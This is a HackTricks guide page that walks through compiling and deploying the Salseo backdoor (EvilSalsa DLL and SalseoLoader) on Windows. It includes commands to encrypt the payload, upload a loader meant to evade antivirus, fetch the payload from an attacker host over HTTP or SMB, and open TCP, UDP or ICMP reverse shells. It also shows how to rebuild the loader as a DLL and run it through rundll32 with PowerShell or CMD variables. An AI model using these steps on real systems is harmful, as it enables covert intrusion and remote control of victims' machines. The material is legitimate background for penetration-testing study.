211 lines
7.3 KiB
Markdown
211 lines
7.3 KiB
Markdown
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
|
|
# Compiling the binaries
|
|
|
|
Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code.
|
|
|
|
Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures).
|
|
|
|
You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".**
|
|
|
|
**(**If you can't find this options press in **"Project Tab"** and then in **"\<Project Name> Properties"**)
|
|
|
|
|
|
|
|
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
|
|
|
|
.png>)
|
|
|
|
# Prepare the Backdoor
|
|
|
|
First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**
|
|
|
|
## **Python**
|
|
|
|
```
|
|
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
|
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
|
```
|
|
|
|
## Windows
|
|
|
|
```
|
|
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
|
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
|
```
|
|
|
|
Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.**
|
|
|
|
**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...**
|
|
|
|
# **Execute the backdoor**
|
|
|
|
## **Getting a TCP reverse shell (downloading encoded dll through HTTP)**
|
|
|
|
Remember to start a nc as the reverse shell listener, and a HTTP server to serve the encoded evilsalsa.
|
|
|
|
```
|
|
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
|
```
|
|
|
|
## **Getting a UDP reverse shell (downloading encoded dll through SMB)**
|
|
|
|
Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver).
|
|
|
|
```
|
|
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
|
```
|
|
|
|
## **Getting a ICMP reverse shell (encoded dll already inside the victim)**
|
|
|
|
**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
|
|
|
### **Disable ICMP Replies:**
|
|
|
|
```
|
|
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
|
|
|
#You finish, you can enable it again running:
|
|
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
|
```
|
|
|
|
### Execute the client:
|
|
|
|
```
|
|
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
|
```
|
|
|
|
### Inside the victim, lets execute the salseo thing:
|
|
|
|
```
|
|
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
|
```
|
|
|
|
# Compiling SalseoLoader as DLL exporting main function
|
|
|
|
Open the SalseoLoader project using Visual Studio.
|
|
|
|
## Add before the main function: \[DllExport]
|
|
|
|
.png>)
|
|
|
|
## Install DllExport for this project
|
|
|
|
### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
|
|
|
|
.png>)
|
|
|
|
### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)**
|
|
|
|
.png>)
|
|
|
|
In your project folder have appeared the files: **DllExport.bat** and **DllExport\_Configure.bat**
|
|
|
|
## **U**ninstall DllExport
|
|
|
|
Press **Uninstall** (yeah, its weird but trust me, it is necessary)
|
|
|
|
.png>)
|
|
|
|
## **Exit Visual Studio and execute DllExport\_configure**
|
|
|
|
Just **exit** Visual Studio
|
|
|
|
Then, go to your **SalseoLoader folder** and **execute DllExport\_Configure.bat**
|
|
|
|
Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply**
|
|
|
|
.png>)
|
|
|
|
## **Open the project again with visual Studio**
|
|
|
|
**\[DllExport]** should not be longer marked as error
|
|
|
|
.png>)
|
|
|
|
## Build the solution
|
|
|
|
Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
|
|
|
|
.png>)
|
|
|
|
Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64)
|
|
|
|
.png>)
|
|
|
|
To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear)
|
|
|
|
## Test the generated Dll
|
|
|
|
Copy and paste the Dll where you want to test it.
|
|
|
|
Execute:
|
|
|
|
```
|
|
rundll32.exe SalseoLoader.dll,main
|
|
```
|
|
|
|
If not error appears, probably you have a functional dll!!
|
|
|
|
# Get a shell using the Dll
|
|
|
|
Don't forget to use a **HTTP** **server** and set a **nc** **listener**
|
|
|
|
## Powershell
|
|
|
|
```
|
|
$env:pass="password"
|
|
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
|
|
$env:lhost="10.2.0.5"
|
|
$env:lport="1337"
|
|
$env:shell="reversetcp"
|
|
rundll32.exe SalseoLoader.dll,main
|
|
```
|
|
|
|
## CMD
|
|
|
|
```
|
|
set pass=password
|
|
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
|
set lhost=10.2.0.5
|
|
set lport=1337
|
|
set shell=reversetcp
|
|
rundll32.exe SalseoLoader.dll,main
|
|
```
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
|